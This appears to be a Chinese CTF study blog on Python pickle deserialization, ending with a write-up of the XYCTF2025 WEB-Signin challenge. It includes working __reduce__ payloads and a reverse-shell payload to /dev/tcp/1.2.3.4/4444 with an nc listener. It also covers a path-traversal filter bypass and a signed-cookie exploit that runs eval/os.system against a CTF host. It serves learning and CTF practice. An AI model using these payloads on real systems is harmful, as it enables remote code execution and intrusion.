pickle反序列化
最近的XYCTF又吃了没有好好学反序列化的亏,这下真的真的要好好学反序列化了
基本知识
pickle简介
- 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
- python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
- 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
- pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
可序列化的对象
None、True和False- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可封存对象的集合,包括 tuple、list、set 和 dict
- 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
__dict__属性值或__getstate__()函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)
object.__reduce__() 函数
- 在开发时,可以通过重写类的
object.__reduce__()函数,使之在被实例化时按照重写的方式进行。具体而言,python要求object.__reduce__()返回一个(callable, ([para1,para2...])[,...])的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。 - 在下文pickle的opcode中,
R的作用与object.__reduce__()关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实R正好对应object.__reduce__()函数,object.__reduce__()的返回值会作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的。
反序列化的安全问题喵!
这是重点喵~
pickle 在反序列化时,会执行其中包含的任意 Python 代码,这就很危险了!
例如下面这个例子中,恶意构造的对象在被 pickle.loads() 时就会执行任意代码:
python
复制编辑
import pickle
import os
class Evil:
def __reduce__(self):
return (os.system, ('calc.exe',)) # Windows下打开计算器
malicious = pickle.dumps(Evil())
pickle.loads(malicious) # 恶意代码在这里执行
所以!永远不要对不可信的数据使用 pickle.loads()!
CTF和安全中的 pickle 利用
在CTF或漏洞利用里,经常会遇到题目让你构造 pickle 载荷,执行命令或者 RCE(远程代码执行)。
常见方法:
- 编写带有
__reduce__()的类; - 用
pickletools分析 payload; - 利用
pickle加上 gadget 链(类似 Java 的反序列化);
还有个好用的库叫 pickletools 可以反汇编 pickle 数据,帮我们分析它做了什么:
python
复制编辑
import pickletools
pickletools.dis(malicious) # 显示 pickle 字节码执行过程
当你用 pickle.loads() 反序列化一个由别人提供的 pickle 数据时,它可以触发任意类的创建与任意函数的执行。
核心点在于:pickle 会调用对象的 __reduce__() 或 __getstate__() 方法来还原对象。
利用的原理(以 __reduce__() 为主)
__reduce__() 的返回值控制了反序列化时执行什么。
格式如下喵:
python
复制编辑
class Evil:
def __reduce__(self):
return (callable_obj, args)
当被 pickle.loads() 处理时,相当于执行:
python
复制编辑
callable_obj(*args)
所以,如果你返回:
python
复制编辑
return (os.system, ('id',)) # Linux举例
就会执行 os.system('id'),相当于 RCE 啦!
注意事项
pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:
# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
实例:getshell
构造 payload:
python
复制编辑
import pickle
import os
class GetShell:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/1.2.3.4/4444 0>&1',))
payload = pickle.dumps(GetShell())
然后你在自己机器上监听:
bash
复制编辑
nc -lvnp 4444
把 payload 发送到靶机,就能反弹 shell 了
[XYCTF2025]WEB-Signin
源码:
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
with open('../../secret.txt', 'r') as f:
secret = f.read()
except:
print("No secret file found, using default secret")
secret = "secret"
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=5000, debug=False)
这道题首先是通过目录穿越访问secret.txt获得密钥,直接用./.././.././../绕过过滤得到密钥
Hell0_H@cker_Y0u_A3r_Sm@r7
接下来我就没有思路了,看了wp才知道是反序列化
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default
这个是bottle框架源码中在鉴权的时候用pickle反序列化了session,所以导致了反序列化的RCE,这里只要签名对的上就能直接进pickle的反序列化
用bottle的cookie_encode生成payload之后拿着这个payload去改session的值,并将请求发送到/secret。随后可以把回显外带(不出网)
官方exp:
from bottle import cookie_encode
import os
import requests
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
class Test:
def __reduce__(self):
return (eval, ("""__import__('os').system('cp /f* ./2.txt')""",))
exp = cookie_encode(
('session', {"name": [Test()]}),
secret
)
requests.get('http://gz.imxbt.cn:20458/secret', cookies={'name': exp.decode()})

浙公网安备 33010602011771号